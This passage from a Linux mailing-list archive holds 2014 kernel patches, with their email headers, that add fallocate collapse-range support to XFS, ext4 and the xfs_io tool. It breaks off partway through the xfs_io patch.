got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + /* Check if we can merge 2 adjacent extents */ + if (*current_ext && + left.br_startoff + left.br_blockcount == startoff && + left.br_startblock + left.br_blockcount == + got.br_startblock && + left.br_state == got.br_state && + left.br_blockcount + got.br_blockcount <= MAXEXTLEN) { + blockcount = left.br_blockcount + + xfs_bmbt_get_blockcount(gotp); + xfs_iext_remove(ip, *current_ext, 1, 0); + if (cur) { + error = xfs_btree_delete(cur, &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); + gotp = xfs_iext_get_ext(ifp, --*current_ext); + xfs_bmbt_get_all(gotp, &got); + + /* Make cursor point to the extent we will update */ + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + xfs_bmbt_set_blockcount(gotp, blockcount); + got.br_blockcount = blockcount; + goto bmbt_update; + } + + /* We have to update the startoff */ + xfs_bmbt_set_startoff(gotp, startoff); + got.br_startoff = startoff; + +bmbt_update: + if (cur) { + error = xfs_bmbt_update(cur, + got.br_startoff, + got.br_startblock, + got.br_blockcount, + got.br_state); + if (error) + goto del_cursor; + } + + (*current_ext)++; + } + + /* Check if we are done */ + if (*current_ext == XFS_IFORK_NEXTENTS(ip, whichfork)) + *done = 1; + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + + xfs_trans_log_inode(tp, ip, logflags); + + return error; +} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 33b41f3..7bfe67c 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -169,5 +169,10 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); +int xfs_bmap_shift_extents(struct xfs_trans *tp, struct xfs_inode *ip, + int *done, xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, struct xfs_bmap_free *flist, + int num_exts); #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 5887e41..7b62f5d 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1446,6 +1446,105 @@ out: } /* + * xfs_collapse_file_space() + * This routine frees disk space and shift extent for the given file. + * + * RETURNS: + * 0 on success + * errno on error + * + */ +int +xfs_collapse_file_space( + struct xfs_inode *ip, + xfs_off_t offset, + xfs_off_t len) +{ + int done = 0; + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + xfs_extnum_t current_ext = 0; + struct xfs_bmap_free free_list; + xfs_fsblock_t first_block; + int committed; + xfs_fileoff_t start_fsb; + xfs_fileoff_t shift_fsb; + + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); + + trace_xfs_collapse_file_space(ip); + + start_fsb = XFS_B_TO_FSB(mp, offset + len); + shift_fsb = XFS_B_TO_FSB(mp, len); + + /* + * The first thing we do is to free data blocks in the specified range + * by calling xfs_free_file_space(). It would also sync dirty data + * and invalidate page cache over the region on which collapse range + * is working. + */ + + error = xfs_free_file_space(ip, offset, len); + if (error) + return error; + + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + /* + * We would need to reserve permanent block for transaction. + * This will come into picture when after shifting extent into + * hole we found that adjacent extents can be merged which + * may lead to freeing of a block during record update. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, + ip->i_gdquot, ip->i_pdquot, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, + XFS_QMOPT_RES_REGBLKS); + if (error) + goto out; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + + /* + * We are using the write transaction in which max 2 bmbt + * updates are allowed + */ + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, + shift_fsb, ¤t_ext, + &first_block, &free_list, 2); + if (error) + goto out; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + return error; + +out: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/* * We need to check that the format of the data fork in the temporary inode is * valid for the target inode before doing the swap. This is not a problem with * attr1 because of the fixed fork offset, but attr2 has a dynamically sized diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 900747b..935ed2b 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -99,6 +99,8 @@ int xfs_free_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); int xfs_zero_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); +int xfs_collapse_file_space(struct xfs_inode *, xfs_off_t offset, + xfs_off_t len); /* EOF block manipulation functions */ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..accb25b 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -820,7 +820,8 @@ xfs_file_fallocate( if (!S_ISREG(inode->i_mode)) return -EINVAL; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; xfs_ilock(ip, XFS_IOLOCK_EXCL); @@ -828,6 +829,20 @@ xfs_file_fallocate( error = xfs_free_file_space(ip, offset, len); if (error) goto out_unlock; + } else if (mode & FALLOC_FL_COLLAPSE_RANGE) { + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + if (offset & blksize_mask || len & blksize_mask) { + error = -EINVAL; + goto out_unlock; + } + + ASSERT(offset + len < i_size_read(inode)); + new_size = i_size_read(inode) - len; + + error = xfs_collapse_file_space(ip, offset, len); + if (error) + goto out_unlock; } else { if (!(mode & FALLOC_FL_KEEP_SIZE) && offset + len > i_size_read(inode)) { @@ -856,7 +871,7 @@ xfs_file_fallocate( if (ip->i_d.di_mode & S_IXGRP) ip->i_d.di_mode &= ~S_ISGID; - if (!(mode & FALLOC_FL_PUNCH_HOLE)) + if (!(mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE))) ip->i_d.di_flags |= XFS_DIFLAG_PREALLOC; xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 425dfa4..a4ae41c 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -603,6 +603,7 @@ DEFINE_INODE_EVENT(xfs_readlink); DEFINE_INODE_EVENT(xfs_inactive_symlink); DEFINE_INODE_EVENT(xfs_alloc_file_space); DEFINE_INODE_EVENT(xfs_free_file_space); +DEFINE_INODE_EVENT(xfs_collapse_file_space); DEFINE_INODE_EVENT(xfs_readdir); #ifdef CONFIG_XFS_POSIX_ACL DEFINE_INODE_EVENT(xfs_get_acl); -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:44:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2C6B67F52 for ; Sat, 1 Feb 2014 23:44:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C124AC008 for ; Sat, 1 Feb 2014 21:44:45 -0800 (PST) X-ASG-Debug-ID: 1391319883-04cb6c6de092990001-NocioJ Received: from mail-pd0-f179.google.com (mail-pd0-f179.google.com [209.85.192.179]) by cuda.sgi.com with ESMTP id eOu04DtnGX5zafb7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:44:43 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.179 Received: by mail-pd0-f179.google.com with SMTP id q10so5763891pdj.10 for ; Sat, 01 Feb 2014 21:44:43 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=I/yiaFDt0/NzjlAtE/uLTnNeRsAyqJ8OLvYhbksMLcQ=; b=lysF1ZCH6v6GQYXwml+IdZtGxM3wC1zH2vShLo+uPRVCdfxdH9eA4ikICw+HL85Rib t9sBl0hASddn3bkNOd4QIDErDHl2yugYTb52sL050appqFmkmaGKzj8NGmT1B84mW+G5 taztbR9kfTrmawdVrqSw+OkONZsRBsSd1e1ka+6FqUR11Tn80MlWd9+bJukpieK9Bz+m KJY2GwVMrIznIv8+Hx7l3vMsY980ppgmo5YsUnalPEnQJfCYUvai7WnJ1IibuMGHteNX HCvq7p0Pd498EN+FJM+rNp1HWqsU60HJZe09mIkoAmUpQqlxWUp1bNd71xRMfyQIt45h YKig== X-Barracuda-BBL-IP: nil X-Received: by 10.68.130.169 with SMTP id of9mr30117794pbb.79.1391319883267; Sat, 01 Feb 2014 21:44:43 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id ug2sm110498707pac.21.2014.02.01.21.44.40 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:44:42 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 2 Feb 2014 14:44:34 +0900 X-ASG-Orig-Subj: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f179.google.com[209.85.192.179] X-Barracuda-Start-Time: 1391319883 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 297 ++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 325 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index e618503..5cc015a 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2745,6 +2745,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2754,6 +2755,8 @@ extern void ext4_double_up_write_data_sem(struct inode *orig_inode, extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 267c9fb..12338c1 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4566,12 +4566,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4870,3 +4874,294 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + if (ex_start > + EXT_FIRST_EXTENT(path[depth].p_hdr)) { + if (ext4_ext_try_to_merge_right(inode, + path, ex_start - 1)) + ex_last--; + } + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((ex_start > start - 1 && shift > ex_start) || + (ex_end > start - shift)) + return -EINVAL; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + unsigned int rounding; + loff_t ioffset, new_size; + int ret; + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + BUG_ON(offset + len > i_size_read(inode)); + + /* Collapse range works only on fs block size aligned offsets. */ + if (offset & blksize_mask || len & blksize_mask) + return -EINVAL; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + if (EXT4_SB(sb)->s_cluster_ratio > 1) + return -EOPNOTSUPP; + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) + return -EOPNOTSUPP; + + if (IS_SWAPFILE(inode)) + return -ETXTBSY; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + truncate_pagecache_range(inode, ioffset, -1); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) + goto journal_stop; + + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + + truncate_setsize(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +journal_stop: + ext4_journal_stop(handle); + up_write(&EXT4_I(inode)->i_data_sem); + +out_dio: + ext4_inode_resume_unlocked_dio(inode); + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index 773b503..b474558 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:45:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 623927F52 for ; Sat, 1 Feb 2014 23:45:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 49B148F8050 for ; Sat, 1 Feb 2014 21:45:04 -0800 (PST) X-ASG-Debug-ID: 1391319902-04cb6c6de1929c0001-NocioJ Received: from mail-pa0-f42.google.com (mail-pa0-f42.google.com [209.85.220.42]) by cuda.sgi.com with ESMTP id cEYRECfyYcVFRwia (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:45:03 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.42 Received: by mail-pa0-f42.google.com with SMTP id kl14so5975835pab.1 for ; Sat, 01 Feb 2014 21:45:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=39e2GaM+YI2uC0ycQmrjyd4ZfMvGQ1yrafhpiuqjT1E=; b=ci+y8W1AZFFaZeVEY3OfHzAFElkO77lrq/HyAGxCcb20zzCBT2/HLO9vvH8g/x23ed iGmWJUucVCmFX79JcvxHuN+p9hfNZOfHv8h1XPvni3plngQ4dlkTEC13cqPzNgbi07Z7 CUVBI0dlr+SlMl//ek+Nya8OQ7HcY+VSCxxIwMYf3TUW96pzY3UIq3GFd95TAsbIcYAT 8jQTi2701saq+7KlIl57Ofe7vI81DCRdbVsznSNcy1e5Ag6VdODpdcGhylkgG48eIfmv wftosTN0hvdXM/46EQfzo4HxJJ3S8FZJakQkJGI/mLEFLTxqnF1kquwDj1GRN1/dDViD JTpg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.148.134 with SMTP id ts6mr29540348pab.113.1391319902370; Sat, 01 Feb 2014 21:45:02 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id i10sm110473750pat.11.2014.02.01.21.44.59 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:45:01 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 2 Feb 2014 14:44:51 +0900 X-ASG-Orig-Subj: [PATCH RESEND 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1391319891-3237-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f42.google.com[209.85.220.42] X-Barracuda-Start-Time: 1391319902 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan Reviewed-by: Dave Chinner --- io/prealloc.c | 41 +++++++++++++++++++++++++++++++++++++++-- man/man8/xfs_io.8 | 6 ++++++ 2 files changed, 45 insertions(+), 2 deletions(-) diff --git a/io/prealloc.c b/io/prealloc.c index 8380646..d697f82 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -29,6 +29,10 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -37,6 +41,7 @@ static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; +static cmdinfo_t fcollapse_cmd; #endif static int @@ -159,8 +164,11 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "kp")) != EOF) { + while ((c = getopt(argc, argv, "ckp")) != EOF) { switch (c) { + case 'c': + mode = FALLOC_FL_COLLAPSE_RANGE; + break; case 'k': mode = FALLOC_FL_KEEP_SIZE; break; @@ -203,6 +211,25 @@ fpunch_f( } return 0; } + +static int +fcollapse_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_COLLAPSE_RANGE; + + if (!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -263,7 +290,7 @@ prealloc_init(void) falloc_cmd.argmin = 2; falloc_cmd.argmax = -1; falloc_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; - falloc_cmd.args = _("[-k] [-p] off len"); + falloc_cmd.args = _("[-c] [-k] [-p] off len"); falloc_cmd.oneline = _("allocates space associated with part of a file via fallocate"); add_command(&falloc_cmd); @@ -277,5 +304,15 @@ prealloc_init(void) fpunch_cmd.oneline = _("de-allocates space assocated with part of a file via fallocate"); add_command(&fpunch_cmd); + + fcollapse_cmd.name = "fcollapse"; + fcollapse_cmd.cfunc = fcollapse_f; + fcollapse_cmd.argmin = 2; + 